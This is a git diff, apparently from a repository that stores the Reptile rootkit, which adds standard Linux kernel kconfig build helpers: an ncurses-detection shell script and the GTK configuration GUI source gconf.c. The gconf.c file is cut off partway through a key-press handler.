a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh new file mode 100644 index 0000000..9d2a4c5 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh @@ -0,0 +1,87 @@ +#!/bin/sh +# Check ncurses compatibility + +# What library to link +ldflags() +{ + pkg-config --libs ncursesw 2>/dev/null && exit + pkg-config --libs ncurses 2>/dev/null && exit + for ext in so a dll.a dylib ; do + for lib in ncursesw ncurses curses ; do + $cc -print-file-name=lib${lib}.${ext} | grep -q / + if [ $? -eq 0 ]; then + echo "-l${lib}" + exit + fi + done + done + exit 1 +} + +# Where is ncurses.h? +ccflags() +{ + if [ -f /usr/include/ncursesw/curses.h ]; then + echo '-I/usr/include/ncursesw -DCURSES_LOC=""' + echo ' -DNCURSES_WIDECHAR=1' + elif [ -f /usr/include/ncurses/ncurses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses/curses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses.h ]; then + echo '-DCURSES_LOC=""' + else + echo '-DCURSES_LOC=""' + fi +} + +# Temp file, try to clean up after us +tmp=.lxdialog.tmp +trap "rm -f $tmp" 0 1 2 3 15 + +# Check if we can link to ncurses +check() { + $cc -x c - -o $tmp 2>/dev/null <<'EOF' +#include CURSES_LOC +main() {} +EOF + if [ $? != 0 ]; then + echo " *** Unable to find the ncurses libraries or the" 1>&2 + echo " *** required header files." 1>&2 + echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2 + echo " *** " 1>&2 + echo " *** Install ncurses (ncurses-devel) and try again." 1>&2 + echo " *** " 1>&2 + exit 1 + fi +} + +usage() { + printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n" +} + +if [ $# -eq 0 ]; then + usage + exit 1 +fi + +cc="" +case "$1" in + "-check") + shift + cc="$@" + check + ;; + "-ccflags") + ccflags + ;; + "-ldflags") + shift + cc="$@" + ldflags + ;; + "*") + usage + exit 1 + ;; +esac diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c new file mode 100644 index 0000000..f2bee70 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c @@ -0,0 +1,1542 @@ +/* Hey EMACS -*- linux-c -*- */ +/* + * + * Copyright (C) 2002-2003 Romain Lievin + * Released under the terms of the GNU GPL v2.0. + * + */ + +#ifdef HAVE_CONFIG_H +# include +#endif + +#include +#include "lkc.h" +#include "images.c" + +#include +#include +#include +#include + +#include +#include +#include +#include + +//#define DEBUG + +enum { + SINGLE_VIEW, SPLIT_VIEW, FULL_VIEW +}; + +enum { + OPT_NORMAL, OPT_ALL, OPT_PROMPT +}; + +static gint view_mode = FULL_VIEW; +static gboolean show_name = TRUE; +static gboolean show_range = TRUE; +static gboolean show_value = TRUE; +static gboolean resizeable = FALSE; +static int opt_mode = OPT_NORMAL; + +GtkWidget *main_wnd = NULL; +GtkWidget *tree1_w = NULL; // left frame +GtkWidget *tree2_w = NULL; // right frame +GtkWidget *text_w = NULL; +GtkWidget *hpaned = NULL; +GtkWidget *vpaned = NULL; +GtkWidget *back_btn = NULL; +GtkWidget *save_btn = NULL; +GtkWidget *save_menu_item = NULL; + +GtkTextTag *tag1, *tag2; +GdkColor color; + +GtkTreeStore *tree1, *tree2, *tree; +GtkTreeModel *model1, *model2; +static GtkTreeIter *parents[256]; +static gint indent; + +static struct menu *current; // current node for SINGLE view +static struct menu *browsed; // browsed node for SPLIT view + +enum { + COL_OPTION, COL_NAME, COL_NO, COL_MOD, COL_YES, COL_VALUE, + COL_MENU, COL_COLOR, COL_EDIT, COL_PIXBUF, + COL_PIXVIS, COL_BTNVIS, COL_BTNACT, COL_BTNINC, COL_BTNRAD, + COL_NUMBER +}; + +static void display_list(void); +static void display_tree(struct menu *menu); +static void display_tree_part(void); +static void update_tree(struct menu *src, GtkTreeIter * dst); +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row); +static gchar **fill_row(struct menu *menu); +static void conf_changed(void); + +/* Helping/Debugging Functions */ + +const char *dbg_sym_flags(int val) +{ + static char buf[256]; + + bzero(buf, 256); + + if (val & SYMBOL_CONST) + strcat(buf, "const/"); + if (val & SYMBOL_CHECK) + strcat(buf, "check/"); + if (val & SYMBOL_CHOICE) + strcat(buf, "choice/"); + if (val & SYMBOL_CHOICEVAL) + strcat(buf, "choiceval/"); + if (val & SYMBOL_VALID) + strcat(buf, "valid/"); + if (val & SYMBOL_OPTIONAL) + strcat(buf, "optional/"); + if (val & SYMBOL_WRITE) + strcat(buf, "write/"); + if (val & SYMBOL_CHANGED) + strcat(buf, "changed/"); + if (val & SYMBOL_AUTO) + strcat(buf, "auto/"); + + buf[strlen(buf) - 1] = '\0'; + + return buf; +} + +void replace_button_icon(GladeXML * xml, GdkDrawable * window, + GtkStyle * style, gchar * btn_name, gchar ** xpm) +{ + GdkPixmap *pixmap; + GdkBitmap *mask; + GtkToolButton *button; + GtkWidget *image; + + pixmap = gdk_pixmap_create_from_xpm_d(window, &mask, + &style->bg[GTK_STATE_NORMAL], + xpm); + + button = GTK_TOOL_BUTTON(glade_xml_get_widget(xml, btn_name)); + image = gtk_image_new_from_pixmap(pixmap, mask); + gtk_widget_show(image); + gtk_tool_button_set_icon_widget(button, image); +} + +/* Main Window Initialization */ +void init_main_window(const gchar * glade_file) +{ + GladeXML *xml; + GtkWidget *widget; + GtkTextBuffer *txtbuf; + GtkStyle *style; + + xml = glade_xml_new(glade_file, "window1", NULL); + if (!xml) + g_error(_("GUI loading failed !\n")); + glade_xml_signal_autoconnect(xml); + + main_wnd = glade_xml_get_widget(xml, "window1"); + hpaned = glade_xml_get_widget(xml, "hpaned1"); + vpaned = glade_xml_get_widget(xml, "vpaned1"); + tree1_w = glade_xml_get_widget(xml, "treeview1"); + tree2_w = glade_xml_get_widget(xml, "treeview2"); + text_w = glade_xml_get_widget(xml, "textview3"); + + back_btn = glade_xml_get_widget(xml, "button1"); + gtk_widget_set_sensitive(back_btn, FALSE); + + widget = glade_xml_get_widget(xml, "show_name1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_name); + + widget = glade_xml_get_widget(xml, "show_range1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_range); + + widget = glade_xml_get_widget(xml, "show_data1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_value); + + save_btn = glade_xml_get_widget(xml, "button3"); + save_menu_item = glade_xml_get_widget(xml, "save1"); + conf_set_changed_callback(conf_changed); + + style = gtk_widget_get_style(main_wnd); + widget = glade_xml_get_widget(xml, "toolbar1"); + +#if 0 /* Use stock Gtk icons instead */ + replace_button_icon(xml, main_wnd->window, style, + "button1", (gchar **) xpm_back); + replace_button_icon(xml, main_wnd->window, style, + "button2", (gchar **) xpm_load); + replace_button_icon(xml, main_wnd->window, style, + "button3", (gchar **) xpm_save); +#endif + replace_button_icon(xml, main_wnd->window, style, + "button4", (gchar **) xpm_single_view); + replace_button_icon(xml, main_wnd->window, style, + "button5", (gchar **) xpm_split_view); + replace_button_icon(xml, main_wnd->window, style, + "button6", (gchar **) xpm_tree_view); + +#if 0 + switch (view_mode) { + case SINGLE_VIEW: + widget = glade_xml_get_widget(xml, "button4"); + g_signal_emit_by_name(widget, "clicked"); + break; + case SPLIT_VIEW: + widget = glade_xml_get_widget(xml, "button5"); + g_signal_emit_by_name(widget, "clicked"); + break; + case FULL_VIEW: + widget = glade_xml_get_widget(xml, "button6"); + g_signal_emit_by_name(widget, "clicked"); + break; + } +#endif + txtbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + tag1 = gtk_text_buffer_create_tag(txtbuf, "mytag1", + "foreground", "red", + "weight", PANGO_WEIGHT_BOLD, + NULL); + tag2 = gtk_text_buffer_create_tag(txtbuf, "mytag2", + /*"style", PANGO_STYLE_OBLIQUE, */ + NULL); + + gtk_window_set_title(GTK_WINDOW(main_wnd), rootmenu.prompt->text); + + gtk_widget_show(main_wnd); +} + +void init_tree_model(void) +{ + gint i; + + tree = tree2 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model2 = GTK_TREE_MODEL(tree2); + + for (parents[0] = NULL, i = 1; i < 256; i++) + parents[i] = (GtkTreeIter *) g_malloc(sizeof(GtkTreeIter)); + + tree1 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model1 = GTK_TREE_MODEL(tree1); +} + +void init_left_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree1_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + + gtk_tree_view_set_model(view, model1); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); + gtk_widget_realize(tree1_w); +} + +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data); + +void init_right_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree2_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + gint i; + + gtk_tree_view_set_model(view, model2); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_pixbuf_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "pixbuf", COL_PIXBUF, + "visible", COL_PIXVIS, NULL); + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Name"), renderer, + "text", COL_NAME, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "N", renderer, + "text", COL_NO, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "M", renderer, + "text", COL_MOD, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "Y", renderer, + "text", COL_YES, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Value"), renderer, + "text", COL_VALUE, + "editable", + COL_EDIT, + "foreground-gdk", + COL_COLOR, NULL); + g_signal_connect(G_OBJECT(renderer), "edited", + G_CALLBACK(renderer_edited), NULL); + + column = gtk_tree_view_get_column(view, COL_NAME); + gtk_tree_view_column_set_visible(column, show_name); + column = gtk_tree_view_get_column(view, COL_NO); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_MOD); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_YES); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_VALUE); + gtk_tree_view_column_set_visible(column, show_value); + + if (resizeable) { + for (i = 0; i < COL_VALUE; i++) { + column = gtk_tree_view_get_column(view, i); + gtk_tree_view_column_set_resizable(column, TRUE); + } + } + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); +} + + +/* Utility Functions */ + + +static void text_insert_help(struct menu *menu) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *prompt = _(menu_get_prompt(menu)); + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, prompt, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, str_get(&help), -1, tag2, + NULL); + str_free(&help); +} + + +static void text_insert_msg(const char *title, const char *message) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *msg = message; + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, title, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, msg, -1, tag2, + NULL); +} + + +/* Main Windows Callbacks */ + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data); +gboolean on_window1_delete_event(GtkWidget * widget, GdkEvent * event, + gpointer user_data) +{ + GtkWidget *dialog, *label; + gint result; + + if (!conf_get_changed()) + return FALSE; + + dialog = gtk_dialog_new_with_buttons(_("Warning !"), + GTK_WINDOW(main_wnd), + (GtkDialogFlags) + (GTK_DIALOG_MODAL | + GTK_DIALOG_DESTROY_WITH_PARENT), + GTK_STOCK_OK, + GTK_RESPONSE_YES, + GTK_STOCK_NO, + GTK_RESPONSE_NO, + GTK_STOCK_CANCEL, + GTK_RESPONSE_CANCEL, NULL); + gtk_dialog_set_default_response(GTK_DIALOG(dialog), + GTK_RESPONSE_CANCEL); + + label = gtk_label_new(_("\nSave configuration ?\n")); + gtk_container_add(GTK_CONTAINER(GTK_DIALOG(dialog)->vbox), label); + gtk_widget_show(label); + + result = gtk_dialog_run(GTK_DIALOG(dialog)); + switch (result) { + case GTK_RESPONSE_YES: + on_save_activate(NULL, NULL); + return FALSE; + case GTK_RESPONSE_NO: + return FALSE; + case GTK_RESPONSE_CANCEL: + case GTK_RESPONSE_DELETE_EVENT: + default: + gtk_widget_destroy(dialog); + return TRUE; + } + + return FALSE; +} + + +void on_window1_destroy(GtkObject * object, gpointer user_data) +{ + gtk_main_quit(); +} + + +void +on_window1_size_request(GtkWidget * widget, + GtkRequisition * requisition, gpointer user_data) +{ + static gint old_h; + gint w, h; + + if (widget->window == NULL) + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + else + gdk_window_get_size(widget->window, &w, &h); + + if (h == old_h) + return; + old_h = h; + + gtk_paned_set_position(GTK_PANED(vpaned), 2 * h / 3); +} + + +/* Menu & Toolbar Callbacks */ + + +static void +load_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_read(fn)) + text_insert_msg(_("Error"), _("Unable to load configuration !")); + else + display_tree(&rootmenu); +} + +void on_load1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Load file...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(load_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (conf_write(NULL)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); +} + + +static void +store_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_write(fn)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); + + gtk_widget_destroy(GTK_WIDGET(user_data)); +} + +void on_save_as1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Save file as...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(store_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_quit1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (!on_window1_delete_event(NULL, NULL, NULL)) + gtk_widget_destroy(GTK_WIDGET(main_wnd)); +} + + +void on_show_name1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_name = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NAME); + if (col) + gtk_tree_view_column_set_visible(col, show_name); +} + + +void on_show_range1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_range = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NO); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_MOD); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_YES); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + +} + + +void on_show_data1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_value = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_VALUE); + if (col) + gtk_tree_view_column_set_visible(col, show_value); +} + + +void +on_set_option_mode1_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_NORMAL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode2_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_ALL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode3_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_PROMPT; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void on_introduction1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *intro_text = _( + "Welcome to gkc, the GTK+ graphical configuration tool\n" + "For each option, a blank box indicates the feature is disabled, a\n" + "check indicates it is enabled, and a dot indicates that it is to\n" + "be compiled as a module. Clicking on the box will cycle through the three states.\n" + "\n" + "If you do not see an option (e.g., a device driver) that you\n" + "believe should be present, try turning on Show All Options\n" + "under the Options menu.\n" + "Although there is no cross reference yet to help you figure out\n" + "what other options must be enabled to support the option you\n" + "are interested in, you can still view the help of a grayed-out\n" + "option.\n" + "\n" + "Toggling Show Debug Info under the Options menu will show \n" + "the dependencies, which you can then match by examining other options."); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", intro_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_about1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *about_text = + _("gkc is copyright (c) 2002 Romain Lievin .\n" + "Based on the source code from Roman Zippel.\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", about_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_license1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *license_text = + _("gkc is released under the terms of the GNU GPL v2.\n" + "For more information, please see the source code or\n" + "visit http://www.fsf.org/licenses/licenses.html\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", license_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_back_clicked(GtkButton * button, gpointer user_data) +{ + enum prop_type ptype; + + current = current->parent; + ptype = current->prompt ? current->prompt->type : P_UNKNOWN; + if (ptype != P_MENU) + current = current->parent; + display_tree_part(); + + if (current == &rootmenu) + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_load_clicked(GtkButton * button, gpointer user_data) +{ + on_load1_activate(NULL, user_data); +} + + +void on_single_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = SINGLE_VIEW; + gtk_widget_hide(tree1_w); + current = &rootmenu; + display_tree_part(); +} + + +void on_split_clicked(GtkButton * button, gpointer user_data) +{ + gint w, h; + view_mode = SPLIT_VIEW; + gtk_widget_show(tree1_w); + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + gtk_paned_set_position(GTK_PANED(hpaned), w / 2); + if (tree2) + gtk_tree_store_clear(tree2); + display_list(); + + /* Disable back btn, like in full mode. */ + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_full_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = FULL_VIEW; + gtk_widget_hide(tree1_w); + if (tree2) + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_collapse_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_collapse_all(GTK_TREE_VIEW(tree2_w)); +} + + +void on_expand_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + + +/* CTree Callbacks */ + +/* Change hex/int/string value in the cell */ +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data) +{ + GtkTreePath *path = gtk_tree_path_new_from_string(path_string); + GtkTreeIter iter; + const char *old_def, *new_def; + struct menu *menu; + struct symbol *sym; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return; + + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + sym = menu->sym; + + gtk_tree_model_get(model2, &iter, COL_VALUE, &old_def, -1); + new_def = new_text; + + sym_set_string_value(sym, new_def); + + update_tree(&rootmenu, NULL); + + gtk_tree_path_free(path); +} + +/* Change the value of a symbol and update the tree */ +static void change_sym_value(struct menu *menu, gint col) +{ + struct symbol *sym = menu->sym; + tristate newval; + + if (!sym) + return; + + if (col == COL_NO) + newval = no; + else if (col == COL_MOD) + newval = mod; + else if (col == COL_YES) + newval = yes; + else + return; + + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + if (!sym_tristate_within_range(sym, newval)) + newval = yes; + sym_set_tristate_value(sym, newval); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll + break; + case S_INT: + case S_HEX: + case S_STRING: + default: + break; + } +} + +static void toggle_sym_value(struct menu *menu) +{ + if (!menu->sym) + return; + + sym_toggle_tristate_value(menu->sym); + if (view_mode == FULL_VIEW) + update_tree(&rootmenu, NULL); + else if (view_mode == SPLIT_VIEW) { + update_tree(browsed, NULL); + display_list(); + } + else if (view_mode == SINGLE_VIEW) + display_tree_part(); //fixme: keep exp/coll +} + +static gint column2index(GtkTreeViewColumn * column) +{ + gint i; + + for (i = 0; i < COL_NUMBER; i++) { + GtkTreeViewColumn *col; + + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), i); + if (col == column) + return i; + } + + return -1; +} + + +/* User click: update choice (full) or goes down (single) */ +gboolean +on_treeview2_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + +#if GTK_CHECK_VERSION(2,1,4) // bug in ctree with earlier version of GTK + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); +#else + gtk_tree_view_get_cursor(view, &path, &column); +#endif + if (path == NULL) + return FALSE; + + if (!gtk_tree_model_get_iter(model2, &iter, path)) + return FALSE; + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + col = column2index(column); + if (event->type == GDK_2BUTTON_PRESS) { + enum prop_type ptype; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + + if (ptype == P_MENU && view_mode != FULL_VIEW && col == COL_OPTION) { + // goes down into menu + current = menu; + display_tree_part(); + gtk_widget_set_sensitive(back_btn, TRUE); + } else if ((col == COL_OPTION)) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } + } else { + if (col == COL_VALUE) { + toggle_sym_value(menu); + gtk_tree_view_expand_row(view, path, TRUE); + } else if (col == COL_NO || col == COL_MOD + || col == COL_YES) { + change_sym_value(menu, col); + gtk_tree_view_expand_row(view, path, TRUE); + } + } + + return FALSE; +} + +/* Key pressed: update choice */ +gboolean +on_treeview2_key_press_event(GtkWidget * widget, + GdkEventKey * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + gint col; + + gtk_tree_view_get_cursor(view, &path, &column); + if (path == NULL) + return FALSE; + + if (event->keyval == GDK_space) { + if (gtk_tree_view_row_expanded(view, path)) + gtk_tree_view_collapse_row(view, path); + else + gtk_tree_view_expand_row(view, path, FALSE); + return TRUE; + 